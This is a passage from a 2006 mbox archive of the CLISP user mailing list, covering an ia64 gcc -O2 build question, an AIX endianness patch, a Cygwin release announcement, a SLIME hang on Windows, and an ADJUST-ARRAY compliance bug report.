`-O2' overwritten with src/makemake.in. sorry, Werner, I do not understand your message. let me try to word my question differently. IIUC, you do manage to build CLISP on ia64. excellent! now, what does $ clisp --version print? Thanks! From sds@gnu.org Tue Aug 01 06:31:52 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G7uLg-00044n-Fo for clisp-list@lists.sourceforge.net; Tue, 01 Aug 2006 06:31:52 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G7uLg-0005N8-4E for clisp-list@lists.sourceforge.net; Tue, 01 Aug 2006 06:31:52 -0700 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A79E293D001E; Tue, 01 Aug 2006 09:31:10 -0400 Message-ID: <44CF579D.1020000@gnu.org> Date: Tue, 01 Aug 2006 09:31:09 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.4 (X11/20060614) MIME-Version: 1.0 Newsgroups: gmane.lisp.clisp.general To: clisp-list@lists.sourceforge.net, Peter Van Eynde References: <44B6341F.mailIE6118ABK@boole.suse.de> <20060721101329.GA15997@wotan.suse.de> <200607312031.42743.pvaneynd@debian.org> <20060801100027.GA509@wotan.suse.de> In-Reply-To: <20060801100027.GA509@wotan.suse.de> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] clisp w/ gcc-4.1 on ia64 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Aug 2006 13:31:52 -0000 Dr. Werner Fink wrote: > On Mon, Jul 31, 2006 at 07:51:27PM -0400, Sam Steingold wrote: >> Peter & Werner, >> please tell me, does CLISP build on ia64 with gcc -O2? >> IOW, is this patch necessary: >> >> 2006-07-14 Peter Van Eynde >> >> fixed bug #[ 1506857 ]: build fails with gcc-4.1 on ia64 >> * makemake.in (XCFLAGS) [ia64]: -O0, not -O2 > > This is what our build system says: > > Job: d127-werner-35 > Package: clisp > Distributions: > - ia64: succeeded > > with `-O2' overwritten with src/makemake.in. sorry, Werner, I do not understand your message. let me try to word my question differently. IIUC, you do manage to build CLISP on ia64. excellent! now, what does $ clisp --version print? Thanks! From werner@suse.de Tue Aug 01 08:02:35 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G7vlS-0003hg-S9 for clisp-list@lists.sourceforge.net; Tue, 01 Aug 2006 08:02:35 -0700 Received: from ns1.suse.de ([195.135.220.2] helo=mx1.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1G7vlS-0006oo-68 for clisp-list@lists.sourceforge.net; Tue, 01 Aug 2006 08:02:34 -0700 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id F0DF3EFDB for ; Tue, 1 Aug 2006 17:02:28 +0200 (CEST) Date: Tue, 1 Aug 2006 17:02:25 +0200 From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Message-ID: <20060801150225.GA14622@boole.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <44B6341F.mailIE6118ABK@boole.suse.de> <20060721101329.GA15997@wotan.suse.de> <200607312031.42743.pvaneynd@debian.org> <20060801100027.GA509@wotan.suse.de> <44CF579D.1020000@gnu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: <44CF579D.1020000@gnu.org> User-Agent: Mutt/1.5.11 X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: Re: [clisp-list] clisp w/ gcc-4.1 on ia64 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Aug 2006 15:02:35 -0000 On Tue, Aug 01, 2006 at 09:31:09AM -0400, Sam Steingold wrote: > Dr. Werner Fink wrote: > > On Mon, Jul 31, 2006 at 07:51:27PM -0400, Sam Steingold wrote: > >> Peter & Werner, > >> please tell me, does CLISP build on ia64 with gcc -O2? > >> IOW, is this patch necessary: > >> > >> 2006-07-14 Peter Van Eynde > >> > >> fixed bug #[ 1506857 ]: build fails with gcc-4.1 on ia64 > >> * makemake.in (XCFLAGS) [ia64]: -O0, not -O2 > > > > This is what our build system says: > > > > Job: d127-werner-35 > > Package: clisp > > Distributions: > > - ia64: succeeded > > > > with `-O2' overwritten with src/makemake.in. > > sorry, Werner, I do not understand your message. > let me try to word my question differently. > IIUC, you do manage to build CLISP on ia64. > excellent! > now, what does > $ clisp --version > print? Here we are: plutonium:/ # clisp --version GNU CLISP 2.39 (2006-07-16) (built 3363432341) (memory 3363432814) Software: GNU C 4.1.2 20060705 (prerelease) (SUSE Linux) gcc -O2 -fmessage-length=0 -Wall -D_FORTIFY_SOURCE=2 -g -fPIC -D_GNU_SOURCE -D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64 -pipe -fno-strict-aliasing -Wno-unused -Wno-uninitialized -DSAFETY=3 -fno-gcse -O -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_SIGSEGV -I. -O2 -x none libcharset.a libavcall.a libcallback.a /usr/lib/libreadline.so -lncurses -ldl -L/usr/X11R6/lib SAFETY=3 TYPECODES WIDE SPVW_BLOCKS SPVW_PURE SINGLEMAP_MEMORY libreadline 5.1 Features: (READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER UNIX) C Modules: (clisp i18n syscalls regexp readline) Installation directory: /usr/lib/clisp/ User language: ENGLISH Machine: IA64 (IA64) plutonium.suse.de [10.10.1.219] as you can see, the last optimization option is -O2. Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From sds@gnu.org Tue Aug 01 09:40:58 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G7xIg-0004Nw-H4 for clisp-list@lists.sourceforge.net; Tue, 01 Aug 2006 09:40:58 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G7xIf-0003rR-55 for clisp-list@lists.sourceforge.net; Tue, 01 Aug 2006 09:40:58 -0700 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A3C12C38001E; Tue, 01 Aug 2006 12:39:29 -0400 Message-ID: <44CF83C0.30304@gnu.org> Date: Tue, 01 Aug 2006 12:39:28 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.4 (X11/20060614) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <44B6341F.mailIE6118ABK@boole.suse.de> <20060721101329.GA15997@wotan.suse.de> <200607312031.42743.pvaneynd@debian.org> <20060801100027.GA509@wotan.suse.de> <44CF579D.1020000@gnu.org> <20060801150225.GA14622@boole.suse.de> In-Reply-To: <20060801150225.GA14622@boole.suse.de> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Cc: pvaneynd@debian.org, werner@suse.de Subject: Re: [clisp-list] clisp w/ gcc-4.1 on ia64 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Aug 2006 16:40:58 -0000 Dr. Werner Fink wrote: > > plutonium:/ # clisp --version > GNU CLISP 2.39 (2006-07-16) (built 3363432341) (memory 3363432814) > Software: GNU C 4.1.2 20060705 (prerelease) (SUSE Linux) > gcc -O2 -fmessage-length=0 -Wall -D_FORTIFY_SOURCE=2 -g -fPIC -D_GNU_SOURCE -D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64 -pipe -fno-strict-aliasing -Wno-unused -Wno-uninitialized -DSAFETY=3 -fno-gcse -O -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_SIGSEGV -I. -O2 -x none libcharset.a libavcall.a libcallback.a /usr/lib/libreadline.so -lncurses -ldl -L/usr/X11R6/lib > SAFETY=3 TYPECODES WIDE SPVW_BLOCKS SPVW_PURE SINGLEMAP_MEMORY > libreadline 5.1 > Features: > (READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS > LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER UNIX) > C Modules: (clisp i18n syscalls regexp readline) > Installation directory: /usr/lib/clisp/ > User language: ENGLISH > Machine: IA64 (IA64) plutonium.suse.de [10.10.1.219] > > as you can see, the last optimization option is -O2. yes, thanks, I will revert the patch. please note that you also have "-g" there. do you strip the executable before packaging? please see "Additional Information for Maintainers of Binary Packages" in clisp/unix/INSTALL From sds@podval.org Tue Aug 01 10:08:02 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G7xir-0006id-P2 for clisp-list@lists.sourceforge.net; Tue, 01 Aug 2006 10:08:01 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G7xiq-00015v-6h for clisp-list@lists.sourceforge.net; Tue, 01 Aug 2006 10:08:01 -0700 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AA6A1BAB00B6; Tue, 01 Aug 2006 13:07:54 -0400 Message-ID: <44CF8A69.3050001@podval.org> Date: Tue, 01 Aug 2006 13:07:53 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.4 (X11/20060614) MIME-Version: 1.0 To: "Dr. Werner Fink" References: <44B6341F.mailIE6118ABK@boole.suse.de> <20060721101329.GA15997@wotan.suse.de> <200607312031.42743.pvaneynd@debian.org> <20060801100027.GA509@wotan.suse.de> <44CF579D.1020000@gnu.org> <20060801150225.GA14622@boole.suse.de> <44CF83C0.30304@gnu.org> <20060801165822.GA18140@boole.suse.de> In-Reply-To: <20060801165822.GA18140@boole.suse.de> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp w/ gcc-4.1 on ia64 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Aug 2006 17:08:02 -0000 Dr. Werner Fink wrote: > On Tue, Aug 01, 2006 at 12:39:28PM -0400, Sam Steingold wrote: >> please note that you also have "-g" there. >> do you strip the executable before packaging? > > No I do not, because this breakes clisp. then removing "-g" from CFLAGS will reduce the executable size significantly. >> please see "Additional Information for Maintainers of Binary Packages" >> in clisp/unix/INSTALL > > Hmmm ... there is no such section therein? http://clisp.cvs.sourceforge.net/*checkout*/clisp/clisp/unix/INSTALL From pvaneynd@debian.org Wed Aug 02 02:02:55 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G8Ccx-00028c-Nu for clisp-list@lists.sourceforge.net; Wed, 02 Aug 2006 02:02:55 -0700 Received: from out4.smtp.messagingengine.com ([66.111.4.28]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G8Ccs-0007Cz-Br for clisp-list@lists.sourceforge.net; Wed, 02 Aug 2006 02:02:55 -0700 Received: from frontend3.internal (frontend3.internal [10.202.2.152]) by frontend1.messagingengine.com (Postfix) with ESMTP id 72002D9318E; Wed, 2 Aug 2006 05:02:46 -0400 (EDT) Received: from heartbeat1.messagingengine.com ([10.202.2.160]) by frontend3.internal (MEProxy); Wed, 02 Aug 2006 05:02:49 -0400 X-Sasl-enc: sHQZ2xIB1/lAdAIxUJSHyxuIh9H2LKXHKWOHGRCKZAaO 1154509369 Received: from sharrow (blueice1n1.uk.ibm.com [195.212.29.67]) by mail.messagingengine.com (Postfix) with ESMTP id 7AE86799C; Wed, 2 Aug 2006 05:02:44 -0400 (EDT) From: Peter Van Eynde Organization: Debian To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Date: Wed, 2 Aug 2006 11:02:33 +0200 User-Agent: KMail/1.9.3 References: <44B6341F.mailIE6118ABK@boole.suse.de> <200607312031.42743.pvaneynd@debian.org> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200608021102.34408.pvaneynd@debian.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] clisp w/ gcc-4.1 on ia64 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 02 Aug 2006 09:02:55 -0000 Alle Tuesday 01 August 2006 01:51, Sam Steingold ha scritto: > Peter & Werner, > please tell me, does CLISP build on ia64 with gcc -O2? I've just tested it and it seems to build and run the tests correctly without the -O0 now. Groetjes, Peter -- signature -at- pvaneynd.mailworks.org http://www.livejournal.com/users/pvaneynd/ "God, root, what is difference?" Pitr | "God is more forgiving." Dave Aronson| From sds@podval.org Wed Aug 02 06:55:50 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G8HCQ-0002nn-NF for clisp-list@lists.sourceforge.net; Wed, 02 Aug 2006 06:55:50 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G8HCQ-0001fd-CA for clisp-list@lists.sourceforge.net; Wed, 02 Aug 2006 06:55:50 -0700 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A5611A6500B8; Wed, 02 Aug 2006 09:15:13 -0400 Message-ID: <44D0A560.6010804@podval.org> Date: Wed, 02 Aug 2006 09:15:12 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.4 (X11/20060614) MIME-Version: 1.0 To: Nirendra Maharaj References: <1153575907.24873.266624692@webmail.messagingengine.com> <1153736391.28045.266713737@webmail.messagingengine.com> <1154451052.22529.267388265@webmail.messagingengine.com> <44CF89CE.5040000@podval.org> <1154523412.26857.267459153@webmail.messagingengine.com> In-Reply-To: <1154523412.26857.267459153@webmail.messagingengine.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp 2.39 on aix - Endianness problem X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 02 Aug 2006 13:55:51 -0000 Nirendra Maharaj wrote: > On Tue, 01 Aug 2006 13:05:18 -0400, "Sam Steingold" > said: >> I think I fixed the problem in the CVS head. >> I cannot really test it because the only BE machine I have access to is >> a solaris sparc on SF CF and it does not allow connecting to the outside >> world. > > I can't check the sources out of CVS, because I only have Internet > access from work and we are behind a (draconian) firewall... :-( you can subscribe to clisp-devel and apply the patches that appear there as a digest (or subscribe to clisp-cvs and get patches per commit). you can also get them on gmane.org > I did manage to get a patch for 'socket.d' through the web interface. It > doesn't solve the problem, though. indeed, you need to patch modules/rawsock/rawsock.c too From rurban@x-ray.at Mon Aug 07 15:58:26 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GAE3G-0008I3-IK for clisp-list@lists.sourceforge.net; Mon, 07 Aug 2006 15:58:26 -0700 Received: from mailbackup.inode.at ([213.229.60.24]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GAE3D-0002he-VA for clisp-list@lists.sourceforge.net; Mon, 07 Aug 2006 15:58:26 -0700 Received: from [62.99.145.6] (port=3257 helo=mx.inode.at) by mailbackup.inode.at with esmtp (Exim 4.62) (envelope-from ) id 1GAE3C-0008OK-Tw for clisp-list@lists.sourceforge.net; Tue, 08 Aug 2006 00:58:22 +0200 Received: from [62.99.252.218] (port=2125 helo=[192.168.1.3]) by smartmx-06.inode.at with esmtps (TLS-1.0:DHE_RSA_AES_256_CBC_SHA:32) (Exim 4.50) id 1GAE1A-0004Sg-GD; Tue, 08 Aug 2006 00:56:16 +0200 Message-ID: <44D7C539.3010106@x-ray.at> Date: Tue, 08 Aug 2006 00:56:57 +0200 From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.0.6) Gecko/20060729 SeaMonkey/1.0.4 MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net, cygwin-announce@cygwin.com Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] clisp-2.39-2 released X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Aug 2006 22:58:26 -0000 I've released a minor package update for clisp-2.39 ./configure --fsstnd=redhat --with-dynamic-ffi \ --with-module=rawsock --with-module=dirkey \ --with-module=bindings/win32 --with-module=berkeley-db \ --with-module=pcre --with-module=postgresql \ --with-module=fastcgi --with-module=zlib --prefix=/usr \ --build build Changes: Added the ZLIB module, which I forgot in the clisp-2.39-1 release and which was in all earlier releases. BTW: It's IMHO not highly important to have the static ZLIB module. From my 54 installed asdf modules no one uses :ZLIB, some use a portable FFI to libz. ======================================================================== To update your installation, click on the "Install Cygwin now" link on the http://cygwin.com/ web page. This downloads setup.exe to your system. Then, run setup and answer all of the questions. *** CYGWIN-ANNOUNCE UNSUBSCRIBE INFO *** If you want to unsubscribe from the cygwin-announce mailing list, look at the "List-Unsubscribe: " tag in the email header of this message. Send email to the address specified there. It will be in the format: cygwin-announce-unsubscribe-you=yourdomain.com@cygwin.com If you need more information on unsubscribing, start reading here: http://sources.redhat.com/lists.html#unsubscribe-simple Please read *all* of the information on unsubscribing that is available starting at this URL. -- Reini Urban From lisp-clisp-list@m.gmane.org Wed Aug 09 09:35:43 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GAr1y-00077k-U7 for clisp-list@lists.sourceforge.net; Wed, 09 Aug 2006 09:35:42 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GAr1x-0008Ba-GI for clisp-list@lists.sourceforge.net; Wed, 09 Aug 2006 09:35:42 -0700 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1GAr1K-0007hw-Cr for clisp-list@lists.sourceforge.net; Wed, 09 Aug 2006 18:35:05 +0200 Received: from en4028117.dhcp.asu.edu ([149.169.176.38]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 09 Aug 2006 18:35:02 +0200 Received: from L.Tang by en4028117.dhcp.asu.edu with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 09 Aug 2006 18:35:02 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Lei Tang Date: Tue, 08 Aug 2006 22:45:52 -0700 Lines: 18 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: en4028117.dhcp.asu.edu User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716) X-Accept-Language: en-us, en Sender: news X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date Subject: [clisp-list] lisp.exe never ends after exit xemacs with slime X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Aug 2006 16:35:43 -0000 I have just configured slime with xemacs associated with Clisp. It works fine when I switch to "slime mode" if I type M-x slime. However, when I exit xemacs, there's always coming up with a process "lisp.exe" which exhaust all the cpu resources and never ends. I have to kill it manually. My OS is windows xp. I installed Xemacs 21.4.19 and CLISP 2.39; the slime package is the latest cvs version. The following is the init file I used: ;============= SLIME Setup ==================================== (add-to-list 'load-path "D:/XEmacs/slime") ; your SLIME directory (setq inferior-lisp-program "D:/Clisp/clisp-2.39/clisp.exe -I") ; (require 'slime) (slime-setup) Any suggestions? Thanks a lot for your help! -Lei From lars@nocrew.org Thu Aug 10 06:32:29 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GBAeD-0002uu-7s for clisp-list@lists.sourceforge.net; Thu, 10 Aug 2006 06:32:29 -0700 Received: from mxfep02.bredband.com ([195.54.107.73]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GBAeB-0005yp-G5 for clisp-list@lists.sourceforge.net; Thu, 10 Aug 2006 06:32:29 -0700 Received: from junk.nocrew.org ([85.226.171.82] [85.226.171.82]) by mxfep02.bredband.com with ESMTP id <20060810133213.EHDR23359.mxfep02.bredband.com@junk.nocrew.org> for ; Thu, 10 Aug 2006 15:32:13 +0200 Received: from lars by junk.nocrew.org with local (Exim 4.50) id 1GBAdw-0006xr-UX for clisp-list@lists.sourceforge.net; Thu, 10 Aug 2006 15:32:12 +0200 To: clisp-list@lists.sourceforge.net From: Lars Brinkhoff Organization: nocrew Date: Thu, 10 Aug 2006 15:32:12 +0200 Message-ID: <85wt9gogwz.fsf@junk.nocrew.org> User-Agent: Gnus/5.1007 (Gnus v5.10.7) Emacs/21.4 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] ANSI compliance bug in ADJUST-ARRAY X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Aug 2006 13:32:29 -0000 [I tried to submit this bug report to SourceForge, but it complained about logging in, so I gave up.] The CLHS page for ADJUST-ARRAY says: An error of type error is signaled if fill-pointer is supplied and non-nil but array has no fill pointer. However, CLISP says: [1]> (lisp-implementation-version) "2.39 (2006-07-16) (built 3364196085) (memory 3364203222)" [2]> "foo" "foo" [3]> (array-has-fill-pointer-p *) NIL [4]> (adjust-array ** 3 :fill-pointer t) "foo" [5]> (array-has-fill-pointer-p *) T uname -a: Linux kaneda 2.4.19-rmk7-nw1 #2 Wed Aug 6 11:01:40 CEST 2003 armv4l GNU/Linux Source code from: ftp.gnu.org, 2006-08-10 Build: >From scratch, no interesting options. --version: GNU CLISP 2.39 (2006-07-16) (built 3364196085) (memory 3364203222) Software: GNU C 3.3.5 (Debian 1:3.3.5-13) gcc -Os -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNICODE -I. -x none libcharset.a -lreadline -lncurses -ldl -lsigsegv SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libreadline 4.3 Features: (REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN GETTEXT UNICODE BASE-CHAR=CHARACTER UNIX) C Modules: (clisp i18n syscalls regexp) Installation directory: /usr/local/lib/clisp/ User language: ENGLISH Machine: ARMV4L (ARMV4L) kaneda.nocrew.org [194.236.2.3] From lisp-clisp-list@m.gmane.org Thu Aug 10 13:27:22 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GBH7h-0000HN-Uv for clisp-list@lists.sourceforge.net; Thu, 10 Aug 2006 13:27:21 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GBH7g-0002RQ-Ha for clisp-list@lists.sourceforge.net; Thu, 10 Aug 2006 13:27:21 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GBH7I-0002jz-Sh for clisp-list@lists.sourceforge.net; Thu, 10 Aug 2006 22:26:57 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 10 Aug 2006 22:26:56 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 10 Aug 2006 22:26:56 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Thu, 10 Aug 2006 16:26:45 -0400 Lines: 34 Message-ID: <44DB9685.7020604@gnu.org> References: <85wt9gogwz.fsf@junk.nocrew.org> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.4 (X11/20060614) In-Reply-To: <85wt9gogwz.fsf@junk.nocrew.org> Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] ANSI compliance bug in ADJUST-ARRAY X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Aug 2006 20:27:22 -0000 Lars Brinkhoff wrote: > [I tried to submit this bug report to SourceForge, but it complained > about logging in, so I gave up.] yes, you need an SF account to submit bugs there - otherwise we cannot get back to 